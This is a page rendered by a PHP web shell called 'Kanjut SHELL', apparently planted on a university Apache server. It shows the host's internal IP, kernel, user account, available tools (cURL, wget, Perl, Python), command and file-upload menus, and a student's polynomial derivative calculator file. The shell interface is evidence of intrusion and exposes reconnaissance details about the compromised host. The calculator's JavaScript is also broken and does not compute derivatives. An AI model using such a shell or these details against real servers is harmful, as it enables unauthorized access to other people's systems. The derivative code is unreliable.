Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 3.133.109.58
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/ajwilcox/public_html/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/ajwilcox/public_html/deriv.php.save
<!File: deriv.php>
<?php
  session_start();

  if (!isset($_SESSION['username'])) {
        $_SESSION['msg'] = "You must log in first";
        header('location: ResearchLogin.php');
  }
  if (isset($_GET['logout'])) {
        session_destroy();
        unset($_SESSION['username']);
        header("location: ResearchLogin.php");
  }
?>
<html>
<head>
        <TITLE>Polynomial Derivative</TITLE>
        <meta name="viewport" content="width=device-width, initial-scale=1">
        <link rel="stylesheet" href="style.css">
</head>

<body>

        <div class="navbar">
                <a href="Research.html">Home</a>

<! Term Progress dropbown button>
    <div class="dropdown">
                 <button class="dropbtn" onclick="myFunction(1)">Term Progression
                <i class="fa fa-caret-down"></i>
        </button>
        <div class="dropdown-content" id="myDropdown1">
                <a href="Term1.html">Term 1 Progress</a>
                <a href="Term2.html">Term 2 Progress</a>
                <a href="Term3.html">Term 3 Progress</a>
                <a href="Term4.html">Term 4 Progress</a>
                <a href="Term5.php">Term 5 Progress</a>
                <a href="Term6.php">Term 6 Progress</a>
                <a href="Term7.php">Term 7 Progress</a>
                <a href="Term8.php">Term 8 Progress</a>
                <a href="Term9.php">Term 9 Progress</a>
                <a href="Term10.php">Term 10 Progress</a>
                </div>
                </div>
                <a href="Math.html">Mathematics</a>
                <a href="Compsci.html">Computer Science </a>
               <a href="ResearchAbout.html">Project Background</a>
                 <a href="Research.php?logout='1'"> Logout</a>
                </div>

<! Page Layout finishes here for navbar>
        <center>
        <h1>Polynomial Derviative Calculator</h1>
        <h3>Here you are able to calculate the derivative of a polynomial.
	<p> The form needed when inputing a polynomial has to have proper spacing between terms and signs. 
	<p> An example is for the polynomial <Math> 3 + 2x +4x<sup>2</sup></Math>. The input form would be 3 + 2x + 4x^2.
	<p> Which results in the output of:  0 + 2 + 8x.
	</h3>
        <hr>
        <p>
	Give it a try, input a polynomial of the form mentioned above to recieve an output:
	<p>
	Polynomial: <input type=text size=55 name=poly id='textbox'>
        <P>
	<input type="button" value="Submit" onclick="derivativeVal()" />
	<input type=reset value=Reset>
	<p>
	<p>
	<P>
	Derivative of the polynomial is :

<script>

// Javascript program to find value of derivative of polynomial 
function derivativeTerm( pTerm)
{
    // Get coefficient
    let coeffStr = ""; //initiating coeffstr
    let i;
    for (i = 0; pTerm[i] != 'x' ; i++)
    {
      if(pTerm[i]==' ') // no coefficient
        continue;
      coeffStr += (pTerm[i]); //coefficient 
    }
  
    let coeff = parse(coeffStr); //Changing coeffstr
  
    // Get Power (Skip 2 characters for x and ^)
    let powStr = "";
    for (i = i + 2; i != pTerm.length && pTerm[i] != ' '; i++)
    {
      powStr += pTerm[i]; // finds the value of the exponent
    }
  
    let power=parse(powStr);	  
    return coeff.toExponential(power); //returning string of the derivative polynomial
}
 
function derivativeVal(poly)
{
    let ans = ""; //ans variable is output
  
    let i = 0;
    let stSplit = poly.split("+");
    while(i<stSplit.length)
    {
      ans = (ans + " + " + derivativeTerm(stSplit[i]);
      i++;
    }
    return ans;
}

let  poly = document.getElementById('textbox').value
document.write(derivativeVal(poly))  
</script>

Stv3n404 - 2023